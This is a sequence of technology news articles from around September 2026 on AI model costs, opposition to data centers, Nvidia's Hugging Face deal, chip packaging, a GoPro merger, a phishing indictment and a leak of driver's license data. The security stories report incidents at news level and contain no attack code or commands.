Although Anthropic's Claude Fable and Opus models have been consistently competitive at the very top of the intelligence charts, they're also some of the most costly to use. For more general use, some are paying closer attention to the "Pareto Frontier," where peak intelligence and minimal cost reach the pinnacle, and there the competition is fierce and ever-changing.

Hot off the screeching reversal of companies' tokenmaxing plans earlier this year, this increased focus on getting the cost of AI down has left us running headfirst into Jevons paradox again, too. As token costs for high-intelligence models have come down, token usage has exploded over 25 times in the past year, and doubled in the past month alone.

People may not want to spend more on AI, but they appear to be using a lot more of it when they can afford to.

Long live the King(s)

Despite its radical and rapid ascension, the big winners in the AI industry haven't changed much since its inception. It may have had a few penny drop, "Deepseek moments," where there's been a frenzied scramble by everyone to get ahead of some new threat, but by and large OpenAI and Anthropic have been scuffling at the top of the intelligence pile, Google and Meta have been bouncing around the more efficient and cost-effective middle, and xAI's Grok has been there in the background, grabbing headlines for all the wrong reasons.

That's largely still the state of play in September 2026. Although benchmarks are gamed during model design and real-world use is more representative of actual real-world use, Anthropic's best are still considered by most to be the smartest. Fable 5.1, Fable 5, and Claude Opus all rank in the top four of ArtificialAnalysis' Intelligence Index test, as does OpenRouters and BenchLM even have them take all the podium spots.

While ahead, though, Anthropic's models don't hold an enormous lead. Fable 5.1 might score a 66 on ArtificialAnalysis' benchmark, but OpenAI's GPT 5.6 Sol (max) manages a 61. Grok 4.6 (high) and Kimi K3 (max) are capable of scores above 60, and the new Meta Muse Spark 1.3 (max) can hit 62 - though we don't have cost comparison pricing for it yet.

The same is true across other benchmarks from other companies.

But where the top models nudge each other back and forth with light tweaks and slight bumps in capability, there's much greater distinction in the mid-range. And not on intelligence, but on price.

Even With Cost Cuts, Frontier Models are Very Expensive

Major AI developers know they have a pricing problem. Following the jump to per-token pricing earlier this year, budgets were blown, and even the AI CEOs started talking publicly about making AI more affordable. How that will help them ever reach profitability remains to be seen, but the writing is absolutely on the wall.

And even then, the top AI models are absurdly expensive compared to the models on the Pareto frontier.

Claude Fable 5.1 comes with a 75% cut in the cost of its cache write pricing, and Artificial Analysis still clocked it at $3.69 per task on its Intelligence Index test. That comes from much more expensive answers and reasoning, because while Fable 5.0 has more expensive cache write costs, it's $3.14 per benchmark task. But that's 50% more expensive than Claude Opus 5 on the same task, which is double again the cost of GPT 5.6 Sol.

Then costs really start to crater, especially when you consider the intelligence of the more affordable models.

Google's Gemini 3.8 Flash (high) is a powerful model, able to score a 59 on the Intelligence Index test. But it costs a mere $0.58 per task on the Index test - less than 1/6th the price of Claude Fable 5.1, with just a 10% drop in intelligence scoring. OpenAI's GPT 5.6 Sol (high) costs $0.43, with an intelligence score of 57.

Chinese competition is right there in the mix, too. The daunting Kimi K3 (max) can manage a 60 on the intelligence benchmark, with a per-task cost of $0.84, while its Kimi K3 (low) variant offers a 48 score on intelligence at just $0.24 per task. Deepseek V4 Pro is arguably one of the most impressive, with a 53 and $0.27, respectively.

At the time of writing, Meta's Muse Spark 1.3 (xhigh) holds the Pareto frontier title, with a score of 61 and a per-task cost of just $0.55. It stole that top spot from Google's Gemini 3.8 Flash, which wore the crown for just 3.5 hours.

Get in, we're going token shopping

The perspective and approach of the business community to AI use has been equally terrifying and fascinating. While we've all felt the fear of AI invalidating skills we've spent years acquiring, business leaders have swung massively between demanding AI use at a grand scale and then quickly following it up with, "oh god, no, not that much."

Uber famously blew through its annual AI budget in just a few months, and tokenmaxxing leaderboards saw one unnamed company eat through half a billion dollars worth of tokens in just a few weeks. But while everyone is certainly taking costs a lot more seriously than they once were, that's not slowing AI usage. Indeed, as more effective intelligence has become more affordable, token usage is exploding.

One of OpenRouter's engineers published a chart showing that overall paid token use had increased 25 times in the past year, and doubled over the past month alone.

This increase appears to be coming from some of those middle-of-the-pack, affordable intelligence models. According to OpenRouter's LLM rankings, the most used model for the past month was OpenAI's GPT 5.6 Luna, with close to 12 trillion tokens. With its intelligence score of 52 and a per-task cost of just $0.05, it's right on the Pareto line at the cheapest end of the spectrum.

Right behind it, though, is Chinese developer Z-Ai with its GLM 5.3 Flash. It's at 11.4 trillion tokens in the past month, a more than 1,000% increase month to month. Its intelligence-to-price ratio is 57 to $0.09. Deepseek v4 Flash is right there with it, and other Chinese, intelligent-enough but very-affordable models round out the pack.

In comparison, the major, expensive models are barely being used at all. Fable 5's monthly use is in the low billions of output tokens, and even OpenAI, with its massive user base, is only cracking 1.8T monthly tokens with its 5.6 Sol.

Jevons strikes again

Besides the bonkers business model for many of those involved, there are intriguing patterns emerging in AI usage. People can find ways to use lots of tokens, but they are only willing to pay so much for them. They want intelligence at as low a price as possible, and there is a crossover point where one becomes more important than the other.

While cynics argue that benchmarks are gamed, and boosters are still heralding the coming of their AI savior, the actual economics of the industry paint a much clearer picture. Intelligence has a price, but it's much lower than some of the frontier model developers are able to build it for. As models become ever more efficient and the hardware for inference grows ever more powerful, we may reach a point where what large language models can do effectively is affordable enough that anyone can use it as much as they want.

What that means for the major companies who spent hundreds of billions of dollars to get us to that point, very much remains to be seen.

Denver Water, which supplies the city and its surrounding areas, has imposed Stage 1 drought restrictions in its service area starting August 2026 as water supplies continue to drop. According to Gadget Review, commercial properties like data centers can only water grass twice a week — on Tuesdays and Fridays — until September 30. Starting October 1, lawn sprinklers will be banned for use until the Board of Water Commissioners declares otherwise. However, one resident who was out walking their dog saw that the new AI data center built close to their home was watering its lawn and using so much water that some areas have started to puddle.

“We can’t water our lawns until next summer, at the earliest, but you better believe that they are watering their entire green with so many sprinklers that it’s already making a giant pond, but I can’t water my f****ng tomatoes. I hate it here,” one resident claimed in the video.

This has understandably raised a lot of outrage, especially with all the widespread, bipartisan resistance that these data centers have been facing. However, there are still a lot of unknowns when it comes to the video. Firstly, we do not know when the video was shot; there’s a possibility that it was recorded on either a Tuesday or a Friday, meaning the site was well within its rights to water its lawns, at least until September 30.

The publication also noted several other possibilities: it could be using recycled, non-potable water, which Denver Water explicitly states, “are approved to irrigate any day of the week”; it could hold a variance from the utility provider, granting them permission to water their grass under “special circumstances,” or it was just plainly violating the law. Without further information, there’s just no way we can determine what is going on based on a single video. Nevertheless, this compounds the negative perception that data centers are already facing. Although closed-loop cooling technologies like those from Microsoft and Nvidia have essentially cut data center water consumption for cooling to zero, we still cannot get around the fact that several sites have already caused water issues for their neighbors.

Many people are raising issues about data centers’ massive resource consumption and the other negative effects like noise and air pollution that they could potentially bring to their surroundings. It’s for these reasons that Denver, and hundreds of other jurisdictions, have passed temporary bans and moratoriums on data center development.

Nvidia started its AI business with humble AI accelerators, then moved to AI servers, and later to rack-scale and data center-scale platforms. With its multi-faceted AI strategy in place, the company is now looking beyond hardware. On Thursday, Nvidia said it had agreed to acquire Hugging Face, one of the world's largest platforms for distributing and developing open AI models, for $12.93 billion. Hugging Face will retain its brand and remain open to models, frameworks, clouds, inference providers, and computing platforms.

Nvidia positions the deal as an expansion of its commitment to open-weight AI models and as a way to popularize the use of artificial intelligence in general by enabling different types of developers to use appropriate open models for their products. The move is strategically important for Nvidia as it commands the lion's share of the AI hardware market and wants demand for its hardware to grow. Yet, Nvidia promises not to force participants of the platform into its hardware ecosystem.

Hugging Face currently serves more than 18 million developers, researchers, and creators, who have uploaded over 3 million models, 500,000 datasets, and 1 million applications, according to Nvidia. Furthermore, more than 200,000 companies use the service to find, assess, modify, and deploy AI models. Nvidia claims this business model will remain intact after the acquisition: Hugging Face will continue to host open-source and open-weight models from different developers and support multiple clouds and accelerator architectures.

Meanwhile, Nvidia says that its infrastructure, engineering resources, and global presence can improve Hugging Face's platform reliability, safety, model evaluation, inference, and deployment capabilities, which means that it will increase the portion of Hugging Face that relies not only on its hardware but also on its resources and global presence.

It is noteworthy that Nvidia itself already has a considerable footprint on Hugging Face. The company claims to have published more than 500 models and 250 open datasets, making it one of the platform's largest contributors. Nvidia also develops some of its models, software libraries, and tools openly so that third-party developers can modify and build upon them.

Interestingly, the deal appears to have originated with Hugging Face's founder. Nvidia's Jensen Huang says Clément Delangue approached him while evaluating the company's next stage and concluded that Nvidia could provide an appropriate home for Hugging Face, its community, and its open-model ambitions. As it turns out, Nvidia agreed to buy Hugging Face and keep developing it. The Hugging Face team will join the Nvidia organization and continue working on the project.

If you're a token-hungry AI enthusiast, and if you or your family happen to have PCs with idle GPU cycles to spare in this economy, Nvidia wants to make it possible to harness those cycles so you can save cash on cloud tokens and keep your work private. At IFA 2026, the company is introducing a local distributed AI clustering tool called the Personal AI Router (PAIR) that dispatches agentic AI sub-tasks from your main PC to systems on your home network that have suitable GPU cycles to spare.

As Nvidia tells it, when a user runs a local AI agent and gives it a goal to complete, that central agent might then spawn several sub-tasks carved out of that larger goal. If those sub-tasks or sub-agents are all running on the same GPU, the contention they create might cause the task to finish more slowly than it could if each sub-agent had a dedicated compute node to work with.

PAIR is a tool that can make that distributed AI work happen on a home network. Assuming that a family or shared household is sufficiently flush with idle GPU resources, PAIR canYEa assign each participating system one of those sub-tasks to perform and return the results to the main node, potentially resulting in faster completion of the larger agentic task.

Of course, systems on your local network won't always be idle. Their owners will frequently use the GPUs in their systems for gaming, creative work, or AI tasks of their own. If a user needs their GPU back, PAIR purports to gracefully deal with those changing conditions. It doesn't reserve dedicated capacity from other PCs; it's elastic by design and will make the best of the resources available to it at any given moment.

This unpredictable availability of spare cycles does, of course, mean that quality of service is not assured from a PAIR cluster. But for long-running tasks that don't need to be done on a strict deadline, being able to put spare compute to work could still be more effective than running an agent swarm on a single node.

PAIR sounds relatively simple to set up. It creates a proxy for popular AI front-ends like LM Studio and Ollama to connect to. PAIR then orchestrates work across available nodes on the network and returns the results of that work to the originating application on the head node.

In turn, participating PAIR nodes also need to be running Ollama or LM Studio and have a PAIR installation of their own. Nvidia says that enrolling systems in a PAIR cluster is straightforward and relies on mDNS or an IP address fallback for discovery. PAIR will also help initiate model downloads on participating systems, but Nvidia says that nodes don’t need to have identical models or sets of models downloaded to participate.

If more systems do have a given model available, though, it broadens the pool of potential nodes that can handle a request if the orchestrator agent needs a particular model’s capabilities.

PAIR will run on any DGX Spark (or other GB10) box, as well as GeForce RTX 20-series graphics cards or newer. It also supports Macs with M4-series processors or newer for inference. Accordingly, the PAIR client will be available for Windows, macOS, and Linux.

Independence City Council member John Perkins lost his position after 68.05% of voters opted to oust him in a special election because he supported data centers. According to NBC News, Perkins was one of the five councilors who said yes to the tax breaks amounting to more than $6 billion for the Nebius data center being built in the area.

Many members of the community have been campaigning against this development ahead of the March City Council meeting when these tax breaks were approved, but the council ended up voting 5-2 anyway in favor of the data center. Perkins is the third to have lost their seat after this vote, with Jared Fears, who was running for re-election in the city council, and Bridget McCandless, who was running for mayor, losing their respective bids.

“Politicians aren’t entitled to elected positions. They’re elected by the people to serve those people. When they stop serving the people they were elected to represent, they’re voted out of office,” a member of the Stop the AI Data Center in Independence Facebook group said. “This is democracy in action.” While Perkins hasn’t released a statement yet after the release of the unofficial results of the Special Recall Election, he previously said in an Op-Ed on The Kansas City Star that he stands by his decision to support the Nebius tax breaks and that recalling him would be a setback for the city.

“You can disagree with that call, and I respect that. However, disagreement isn’t a crime, and I don’t believe it is grounds to attempt to overturn an election that happened two years ago,” Perkins wrote. “One vote is not a reason to erase the previous hard work I’ve done for my district.”

Despite the massive support for ousting Perkins, we should also note that the voter turnout for this issue has been abysmally small. Out of the 14,250 registered voters in Jackson County, only 1,643, or 11.5%, went to the polls to vote for or against the councilor.

Another Missouri town has voted out half of its city council, which approved a data center project within its jurisdiction. The people of Festus, Missouri, ousted four of the eight members of its council in a regular election in April 2026 after they approved a 360-acre data center project in the area. Another petition was raised to have the remaining four members recalled, but the measure was shot down by the council.

The popularity of data centers has fallen across the country, with the number of bans and moratoriums over these developments exceeding 500, spread across towns, cities, counties, and even states. Interestingly, the pushback against these developments straddles beliefs and political affiliation, making it harder for hyperscalers to get new projects off the ground.

OpenAI CEO Sam Altman has downplayed the water consumption issue that AI data centers are facing, saying that it has been blown out of proportion over time and does not keep up with the latest developments in data center cooling technology. Altman said this in an episode of the Sources Podcast with Alex Heath, where the two talk about the backlash against AI development. He claimed that producing a single almond in California is equivalent to 38,000 ChatGPT queries.

“You know, I saw this thing going around about the water usage of ChatGPT. And it was like every time you run a single ChatGPT query, it’s like, you know, you run your shower for like six hours. And the water never comes back, and it’s just done. I don’t have the exact calculation in front of me, but I think the real number is something like — doing this from memory, it might be wrong, but it’s close — for every 38,000 ChatGPT queries, that is the same amount of water that is used in the production of a single almond in California… This is like the full-on, you know, total true water accounting, not just what’s running in one data center,” Altman told the host.

“There’s a question of like where this came from because the people that are scarfing down 12 almonds at a time don’t feel like they’re doing something horrible from a water perspective, for the most part. It is true that data centers at one point used evaporative cooling, but they have not done that in a long time. Like if you look at a modern very large data center, it uses the equivalent amount of water as an office building in terms of, you know, people like running the sinks and the toilets and whatever. So, that has been a robust meme and difficult to disprove, but I don’t think it holds up to any scrutiny.”

It’s true that almonds are some of the most water-intensive crops being grown in the U.S. Researchers say that it takes about 1.1 gallons of water to grow a single almond. By comparison, Altman's own statements in the past indicate that one ChatGPT response uses somewhere between 1 to 50mL of water, ostensibly using older evaporative cooling techniques, or about 0.0002 to 0.013 gallons per query. While this is nowhere near Altman’s 38,000 estimate, it’s still about 85 to 5,500 ChatGPT queries per almond using an unspecified cooling method. Nevertheless, training AI models in older facilities can use far more water, with estimates suggesting that GPT-3 used up almost 185,000 gallons of water with older systems, while the increasing popularity of AI, especially AI agents which use up a lot more tokens than just chatbots, means that data centers could still use more water compared to almond farming.

In fact, multiple data centers across the United States have faced issues with their water consumption, with one site in Fayette County, Georgia, using up 29 million gallons over a span of 15 months and another development in Morgan County, Georgia, allegedly causing the water of its neighbors to turn muddy. Altman admitted that data centers that used older technologies like evaporative cooling used a lot of water, but he also mentioned that new techniques and technologies have been developed that cut down data center water use. Some examples of this include Nvidia’s liquid cooling system that runs “hotter than a hot tub,” which cuts water use by 100%, and Microsoft’s closed-loop cooling systems, which use the same amount of water as a restaurant. Amazon even claimed that its data centers consume only 0.075% of the water that Americans use for their lawns and gardens.

You can watch the complete podcast episode below.

Being the world's largest contract chipmaker has its advantages for TSMC when it comes to negotiations with suppliers, as it naturally buys far more than others. However, it also has its difficulties because its requirements are dramatically larger than those of other foundries, and when they grow further, it gets exceedingly hard to source what it needs. Especially when its requirements increase nearly 2X in less than a year.

TSMC has nearly doubled its projected requirements for semiconductor production equipment since the end of last year as the foundry expands manufacturing capacity to address surging demand from the AI sector, said Cliff Hou, TSMC's deputy co-chief operating officer, during a fireside chat at Semicon Taiwan, reports FocusTaiwan. The world's largest foundry admits that it cannot meet all demand from all customers, though it is trying to catch up, according to Bloomberg.

TSMC makes projections about the number of tools it needs to purchase over the following year as well as its spending. After making that assessment late last year, the company discovered that by the end of the first quarter, the requirement had increased to 1.5 times that projection, and by July it had climbed to 1.9 times the original estimate, which means that TSMC's equipment needs had almost doubled in about six months.

TSMC itself attributes its increased needs to the number of new fabs that it is building in Taiwan and the U.S., though it should be noted that in addition to brand-new fabs, the company is also upgrading existing ones, which also need new machinery.

Interestingly, tool count does not seem to be proportional to tool cost. While TSMC increased its 2026 capital expenditure (CapEx) budget significantly in the recent eight months, it increased nowhere near 90%. Back in January, it guided 2026 CapEx to be from $52 billion to $56 billion. By April, it moved its estimate towards the high end of the original guidance, but in July it officially increased it to the range between $60 billion and $64 billion, or by around 15% if we only consider midpoints.

How exactly TSMC makes assessments about the number of tools it needs to buy the following year is something that remains to be seen, but perhaps a more pressing question for the industry is how it plans to acquire that equipment considering shortages of wafer fab tools due to massive demand from virtually all chipmakers.

Hybrid bonding, the copper-to-copper joining technique that replaces solder microbumps in 3D chip stacks, is in high-volume production on logic chips and has just been postponed for use with memory. TSMC has scaled its SoIC bond pitch from 9 microns to 6 and laid out a path to 4.5 by 2029; Intel began shipping Foveros Direct hybrid bonding in its Clearwater Forest server CPU in the first half of 2026, and AMD has used the technology in volume since the first 3D V-Cache parts. However, a JEDEC decision earlier this year to raise the HBM stack-height limit lets HBM4 stay on the less sophisticated and expense microbump technology, deferring hybrid bonding's arrival in high-bandwidth memory, and is now set to debut in HBM4E and HBM5 at the end of the decade.

The technique works by polishing two dies flat, then bonding their copper pads and surrounding dielectric directly under heat and pressure, with no solder bump in between. Because there’s no bump to collapse, the connections can be packed far tighter. AMD has cited roughly 15 times the interconnect density of conventional 2.5D microbump stacking, and figures presented at TSMC's 2026 technology symposium put face-to-face hybrid bonding at around 14,000 signals per square millimeter against roughly 1,500 for face-to-back through-silicon-via stacking.

Wafer-to-wafer, die-to-wafer, and throughput

Microbumps have historically run at pitches around 40 microns, tightening toward 10 for the latest memory. Hybrid bonding, however, starts where microbumps end and keeps scaling: the leading edge is at 6 microns now, with 4.5- and 3-micron generations in development and sub-micron pitches demonstrated in research. Each step down multiplies the number of vertical connections between stacked dies, allowing a cache die or a compute tile to behave as if it were part of the chip rather than a separate component wired across a package.

The method is split into two different approaches: wafer-to-wafer and die-to-wafer. Wafer-to-wafer bonding joins two full patterned wafers face-to-face and dices them afterward, which allows the tightest pitch and fastest production because alignment happens once at the wafer scale. Imec and EV Group demonstrated a 200-nanometer wafer-to-wafer pitch with post-bond overlay below 40 nanometers at ECTC in May. The constraint here is that both wafers must carry identically sized dies, and every die gets bonded, including defective ones, so a single bad die on either wafer ruins the pair.

In contrast, die-to-wafer bonding places individual, pre-tested dies onto a wafer — which is what chiplet and HBM stacks require — because it allows known-good-die selection and the mixing of different die sizes and process nodes. There’s a penalty in terms of throughput with die-to-wafer as each die is picked, aligned, and placed in sequence rather than in one wafer-scale step.

The best die-to-wafer pitch shown at ECTC 2026, from CEA-Leti, was 1 micron, roughly five times looser than the wafer-to-wafer record. Because the dies are placed one at a time, the speed the bonder runs at sets the limit on how many chips it can produce. Applied Materials and Besi cite around 1,600 die placements per hour on the Kinex platform, and Besi's Chameo bonders are rated near 2,000 chips per hour, with the next generation aiming for 50-nanometer placement accuracy to reach finer pitches.

Hybrid bonding is difficult to achieve, as two surfaces have to be almost perfectly flat and clean. The dielectric holds on contact through van der Waals forces, so the polished surface can vary by no more than around 0.2 nanometers, and the copper pads have to sit a few nanometers below it, close enough that they swell into contact when the stack is heated to 200 to 300℃. A single particle smaller than a micron holds the surfaces apart and leaves a gap spanning many pads at once. So keeping the wafer clean and flat through the polishing step (known as chemical-mechanical planarization) is critical for good yields.

TSMC SoIC and Intel Foveros Direct

In terms of who’s leading hybrid bonding, TSMC’s System on Integrated Chips (SoIC) platform leads in terms of volume. At its 2026 North American Technology Symposium, the company laid out a pitch roadmap moving from 9 microns in 2023 to 6 microns in 2025 and 4.5 microns by 2029, with second-gen SoIC adding face-to-face bonding on top of the face-to-back stacking that the first generation supported. The node-stacking roadmap runs in parallel, from N3P-on-N4 today toward N2P-on-N2P by 2028 and A14-on-A14 by 2029.

With SoIC, the hybrid-bonded stack is built first as a vertical block, then placed into a CoWoS module alongside HBM on a silicon interposer, a combination the industry calls 3.5D. AMD's MI300 is the reference case, stacking compute and I/O dies by hybrid bonding before the assembly is mounted in CoWoS with its memory. SoIC handles the front-end vertical density; CoWoS handles the back-end lateral integration with memory.

Capacity is slowly growing, with TSMC building out its Chiayi AP7 site as its largest advanced-packaging campus. Output is targeted for 2026, and analysts at TrendForce have estimated SoIC capacity roughly doubling year on year from a few thousand wafers a month in 2024. Customers include AMD, whose 3D V-Cache and MI300 accelerators were the first volume SoIC products, and the Broadcom-built Fujitsu Monaka CPU.

Meanwhile, Intel's hybrid-bonding implementation, Foveros Direct, reached high volume with Clearwater Forest, the Xeon 6+ server processor built on the 18A node and demo’d at MWC back in March. The design uses a 9-micron copper-to-copper pitch to bond compute and I/O tiles onto base tiles that act as an active interposer, and Intel has described a second generation targeting a 3-micron pitch. Enabling that on a leading-edge logic node required a dedicated process variant, 18A-PT, which adds the through-silicon vias (TSVs) and bonding support that standard 18A doesn’t carry. The shift from Intel's earlier Foveros, which used solder microbumps across the Ponte Vecchio GPU's chiplets, to direct copper bonding is a generational change now playing out across its server offerings.

The unexpected HBM delay

The widely held assumption was that HBM, the stacked DRAM that sits beside every AI accelerator, would be hybrid bonding's largest market by volume. That changed back in January when JEDEC raised the HBM package height limit from 720 to 775 microns, and the extra room means 16-high HBM4 stacks can be assembled with microbumps after all. With HBM4 pad pitch at 10 microns, reporting from SemiEngineering noted that moving to hybrid bonding at that pitch wouldn’t yet make economic sense.

SK hynix has reflected that logic in its own planning, reportedly sticking with advanced mass-reflow molded underfill for 16-high HBM4 while keeping hybrid bonding as a backup and continuing to validate 12-high hybrid-bonded samples for later generations. The company demonstrated a 16-layer HBM4 sample at CES 2026, built without the all-hybrid bonding many expected the generation to require. The result pushes hybrid bonding's HBM debut toward HBM4E and HBM5, expected around 2027 to the end of the decade, where taller stacks and tighter pitches finally make the older bonding methods run out of room.

Meanwhile, the memory makers are building the packaging capacity regardless. SK hynix is investing $3.87 billion in an advanced-packaging plant in Indiana, with production targeted for 2028, and Micron broke ground on a $7 billion HBM advanced-packaging facility in Singapore early last year, with output expected around 2027. Those plants are sized for the volumes hybrid bonding will eventually carry, even as the first HBM4 generation ships on the older interconnect, meaning the equipment commitments are running ahead of the technology's confirmed deployment date in memory.

Samsung is doing the same thing from the memory side. Its SAINT packaging family includes SAINT-D, which stacks DRAM directly on a logic die, and the company has discussed a bufferless HBM4 design that removes the separate base die, with custom HBM logic dies reportedly moving to its 2nm foundry process for 2027 samples. At GTC in March, Samsung claimed hybrid bonding cuts thermal resistance by more than 20% against thermocompression bonding.

Another drag on the timeline is intellectual property. Adeia, which holds a large portfolio of bonding patents, sued AMD last year, alleging that the hybrid bonding behind 3D V-Cache infringes 10 of its patents.

China is pursuing the technique as a way around its lack of access to cutting-edge lithography. With SMIC limited to 14nm-class production and cut off from next-gen EUV, domestic researchers have identified 3D hybrid bonding as a route to competitive performance by stacking older logic and DRAM, with public claims of 14nm parts paired with domestic DRAM aimed at rivaling far newer GPUs. Given that it’s China we’re talking about here, those claims remain claims, and no foundry has demonstrated mass production of hybrid-bonded logic memory in China.

A scramble for tools

In terms of tooling, Applied Materials and Besi, partners on hybrid-bonding equipment since 2020, launched their Kinex die-to-wafer bonding system late last year, billed as the first fully integrated die-to-wafer hybrid bonder combining surface preparation, bonding, and metrology. Applied Materials has taken an equity stake in Besi, and reports from March placed Besi at the center of takeover interest from both Lam Research and Applied Materials, an indication of how important the bonding-tool market has become as logic adoption ramps and memory adoption is staged behind it.

Analyst tracking put Besi’s hybrid-bonding revenue on a path toward roughly €476 million by 2026, up from about €36 million in 2023, with second-half 2025 orders rising more than 60% against the first half on early HBM4 production-line bookings. Competing tool vendors are moving in alongside it: ASMPT has partnered with EV Group on hybrid bonding, and SK hynix is working with Hanwha Semitech on bonders targeting a commercial HBM launch in 2027. The sheer scale of this equipment build-out is a clear demonstration that the industry is treating hybrid bonding as an inevitability, even where the products that’ll use it are still years out.

Hybrid bonding is already in volume production, but its capability is outpacing its adoption. TSMC offers 6-micron pitch while its newest disclosed customer ships at 9; Intel ships at 9 with 3 on the roadmap; and the memory market that was meant to consume it in quantity has bought itself one more generation on microbumps. Two things will show where it goes next — whether any leading logic product drops below 9 microns in volume, and whether HBM4E marks hybrid bonding's first real use in memory before the end of the decade.

GoPro just announced a merger with Starman Optical, Inc., an optical-photonics company, saying that the deal would allow the combined entity to produce U.S.-made optical transceivers for use in AI data centers. According to the press release, Starman will pay shareholders $285 million in cash for the action camera company, amounting to $1.14 per share, and will also pay off its outstanding debt of $92 million. Despite that, current GoPro investors will retain 10% ownership of the post-merger company.

Starman said that the move will give it access to GoPro’s intellectual property, which amounts to more than 2,500 patents, as well as its imaging solutions, advanced optics, and other technologies that it has developed. This deal is crucial in keeping the camera company afloat, especially as it has recently faced declining sales and increasing costs, leading the camera maker to warn investors that there is “substantial doubt about the company’s ability to continue.”

On the other hand, the merger would expand GoPro’s portfolio to include optical transceivers, which are getting increased demand as AI data centers transition to fiber optics for their networking needs. Aside from data centers, the deal would also allow GoPro to expand into defense, government, robotics, and the aerospace industries, where it “intends to leverage its IP, optics, and imaging capabilities” to supply the increasing demand for solutions made within the U.S.

While GoPro has successfully moved its manufacturing out of China to protect its supply chain from U.S. tariffs, it still has no local manufacturing. So, this merger would allow it to have production within American borders and help isolate it from further economic instability brought about by surprise tariff announcements.

This could help it secure its future, especially as the FCC has recently been making moves to keep foreign-made tech like routers, LiDAR-equipped drones, and robots. It also makes sense for the two companies to partner — even though consumer action cameras and optical transceivers for data centers sound like they have nothing in common, they share a lot of technologies between them, like imaging sensors and advanced lenses or optics.

This isn’t the first company with seemingly no relation to data centers to expand or pivot towards it. Struggling shoemaker and apparel brand Allbirds pivoted towards it earlier this year, resulting in a 580% jump in its stock price after the announcement, although it has since settled back down to its pre-announcement prices. AI data centers are indeed a tempting investment, with consultancy firm PricewaterhouseCoopers saying that investment on the technology could hit $32 trillion by 2050.

A federal grand jury in California has indicted Russian citizen Searzhudin Tamirlanovich Aktulaev for allegedly conducting phishing attacks that stole data from over 80,000 computers between June 2016 and November 2017, using TVRAT and DarkVNC remote-control malware. Detailed in a Department of Justice press release on September 1st, the indictment — filed in June 2021 and released September 2026 — lists charges of “Conspiracy, Transmission of a Program, Information, Code, and Command to Cause Damage to a Protected Computer, and Aggravated Identity Theft, among other offenses.”

Aktulaev was extradited to the U.S. in August 2026, five years after his arrest in Cyprus in May 2021. He made his first appearance in federal court in San Francisco — after which he was remanded to federal custody — and is scheduled to appear in district court on October 5, 2026. The arrest was made after an FBI investigation, and the case is being prosecuted by the National Security, Cyber, and Special Prosecutions Section.

According to the indictment, Aktulaev “conspired to exploit the online message platform of a well-known freelance employment technology company, located in the Northern District of California, to spread malware to approximately 80,000 freelancers”. He sent messages containing malicious Microsoft Excel attachments, using approximately 255 fake user accounts. Once opened, the attachments prompted users to run a macro that then downloaded malware from the Internet, mirroring a hack earlier this year in which an unofficial 7-zip.com website served malware-laden downloads for over a week.

The attack used TVRAT (TeamViewer Remote Access Trojan) and DarkVNC malware, both of which grant the attacker remote control of the infected system. TVRAT exploits TeamViewer, while DarkVNC exploits VNC Viewer, popular remote administration tools. The malware stole and uploaded data from the victims' computers to a command-and-control server, from which Aktulaev and his co-conspirators extracted the stolen data to “commit fraud and other criminal activities”.

The indictment says thousands of computers infected by the TVRAT malware were “calling back” to a command-and-control domain hosted in the United States, which was paid for using virtual currency. Roughly half of the victims were in the United States, many of whom were Northern District of California residents, according to the indictment.

“A database found on the command-and-control domain revealed thousands of victims. Additionally, a shared document on the email account used in the criminal activities contained information to include e-commerce login credentials, as well as personally identifiable information (“PII”) for hundreds of victims,” the press release said.

If convicted, Aktulaev could spend up to 20 years behind bars and pay a $250,000 fine or twice the total illicit gains for the conspiracy to commit wire fraud charge alone. The other charges carry terms ranging from two to twenty years in prison, in addition to fines. Meanwhile, the FBI is currently investigating another hack in which 153 million US and Canadian drivers’ licenses were leaked on a Russian cybercrime forum.

More than 153 million US and Canadian driver’s licenses, as well as other identity documents, have reportedly become available for purchase on the dark web for a limited time. According to cybersecurity journalist Brian Krebs, the service was called Nexus, and although it’s no longer available at the time of writing, it claimed to have possessed 153 million driver’s licenses, 10 million ID cards, 1.9 million travel documents, 1.3 million international driver’s licenses, 579k medical cards, 429k common access cards, 91k residence cards, 77k employment authorization records, and 5 million other documents, allegedly sourced from an ID-authentication service based in Louisiana.

The service was advertised on the Russian cybercrime forum Exploit, where whoever was promoting it posted the driver’s license of Krebs as a free sample, which caught the journalist’s attention. He was also able to see a preview of U.S. Secretary of Defense Pete Hegseth’s information on the database — a concerning breach of security for someone with such a sensitive position in the government. After further investigation, they concluded that the service seemed to have possessed legitimate data, especially after searching for the data of several of his friends and family members with their consent. One thing that all the people he found in the database had in common was that they all used Hertz to rent a vehicle.

Krebs also talked with security and privacy researcher Zach Edwards, who said that their information was also found on Nexus. Edwards said that they did not rent a car recently but used their ID at a Planet13 marijuana dispensary. The time stamps found on the scanned images of the driver’s licenses and other identity documents coincide with the time that the victims used their IDs at the said companies, confirming that they were the sources of the leaks. However, Planet13 and Hertz do not do their own authentication; instead, they contract a service provider for the service. Now, it turns out that both Planet13 and Hertz used the company for identity verification and ID-authentication — IDScan.

Based on the evidence gathered by Krebs, it seems that the leak is centered around the company. He has already contacted the company about the issue, and they said they were investigating the matter. “At this point I’m not able to share any additional information, but the updates you have provided have been welcome, and helpful to our team’s investigation,” Jillian Kossman, a marketing and operations leader at idscan.net, told the journalist. The FBI has also started looking into the leak, with its New Orleans field office opening an official investigation into the breach.

The massive amount of data that was briefly available on the dark web is certainly concerning. A similar data breach hit Discord after its third-party service provider was hit and resulted in the exposure of 70,000 government IDs. Incidents like these have got privacy experts concerned with the push for online age verification requirements, which is why the EFF is asking the California governor to veto the law requiring this.

Aside from privacy-invasive checks and stepping on First Amendment rights, the leakage of sensitive data like this could increase incidents of stolen identity and more. Driver’s licenses are often widely accepted for opening credit lines and bank accounts, with both photographic, UV, and IR scans available on many of the leaked licenses. Aside from that, it could also potentially compromise the privacy and security of vulnerable people, like those fleeing domestic violence and those who are under the witness protection program.

With social networks tracking every single motion of our scrolling fingers and now the advent of data-hoovering AI models, it's easy to argue that staying anonymous online has never been harder. If you're a Californian, though, it will soon become harder still. Bill A.B. 1709, effectively requiring age checks on social networks, is set to become law unless Gavin Newsom vetoes it — a measure the Electronic Frontier Foundation (EFF) is requesting in an open letter to the governor.

A.B. 1709 doesn't explicitly require an actual online physical ID check, but given the way it's written, companies are free to use any means they see fit to fulfill that requirement. In turn, this leads the EFF to remark that the most likely choice for networks would be invasive checks like requiring the uploading of government IDs and/or biometric checks. The Foundation says that this would concentrate even more power in social media companies' hands, with a Californian's personal ID adding to their datasets.

